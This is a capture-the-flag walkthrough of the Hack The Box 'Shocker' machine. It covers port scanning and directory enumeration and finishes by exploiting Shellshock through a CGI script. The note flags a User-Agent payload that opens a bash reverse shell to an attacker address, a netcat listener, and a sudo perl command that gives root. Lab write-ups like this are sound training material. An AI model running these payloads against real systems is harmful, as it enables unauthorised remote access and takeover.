Shocker Writeup

https://0xdf.gitlab.io/2021/05/25/htb-shocker.html

Reconnaissance:

INITIAL SCAN:

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.56
-sC: run default nmap scrip
-sV: detect service version\ts
-O: detect OS

Port 80: running Apache httpd 2.4.18
Port 2222: running OpenSSH 7.2p2

Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.

ALL PORTS:

Let’s run an nmap scan that covers all ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p- 10.10.10.56

We get back the following result. No other ports are open.

UPD SCAN:

Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -O -p- 10.10.10.56

Enumeration:

Let’s enumerate more on the open ports. SearchSploit does not generate any useful exploits that we can use.

┌──(kali㉿kali)-[~]
└─$ searchsploit --id openssh 7.2p2

┌──(kali㉿kali)-[~]
└─$ searchsploit --id httpd

Next, visit the Apache server on the browser.

http://10.10.10.56/

We get a page that does not have links to any other pages. Therefore, we’ll run Gobuster to enumerate directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56

This leads us to another dead end. It only discovered one directory that we don’t have access to.

Given the name of the machine, I have a suspicion that it is vulnerable to the Shellshock bash remote code execution vulnerability. This vulnerability affected web servers utilizing CGI (Common Gateway Interface), which is a system for generating dynamic web content. This usually involved directories such as /cgi-sys, /cgi-mod, /cgi-bin, etc. I’ll manually try them on the web server to see if they exist.

/cgi-sys and /cgi-mod do not exist on the web server. However /cgi-bin does. It was interesting to note the behaviour of the web server when I add /cgi-bin versus /cgi-bin/ to the URL path.

/cgi-bin/ gave me a 403 (you don’t have access to this resource) and /cgi-bin gave me a 404 (resource not found). It seems that if we don’t add the “/” at the end of the URL, the server is interpreting it as a file instead of a directory (maybe, I’m not too sure).

Now it makes sense why Gobuster did not find the directory. It checked the url “10.10.10.56/cgi-bin”, got a 404 and therefore didn’t report it. The “-f” flag appends “/” to each request. So let’s run Gobuster again.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56 -f
-x: file extensions to search for

Now we need to enumerate more on the /cgi-bin/ directory. I’ll look for files with extensions “sh” and “cgi”.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56/cgi-bin/ -x sh,cgi

I get back a bash script (user.sh). When I visit the URL, it prompts me to download the file.

http://10.10.10.56/cgi-bin/user.sh/

Fire up burp and intercept the request to the bash script. The send it to Repeater.

The response shows the request to the bash script and the response we get from the server. Now let’s try to see if it is vulnerable to shellshock.

Initial Foothold:

I googled “shellshock reverse shell” and found this blog explaining how to exploit the shellshock vulnerability to get a reverse shell on the system the web server is running on.

Exploiting Shellshock Manually

First add the following string in the User Agent field in Burp.

User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.16.6/443 0>&1

Then start up a listener on your attack machine using the same configuration in the above string.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 443

Go back to Burp and execute the request.

shelly@Shocker:/home/shelly$ cat user.txt

shelly@Shocker:/home/shelly$ sudo -l

shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/bash"'

root@Shocker:~# cat root.txt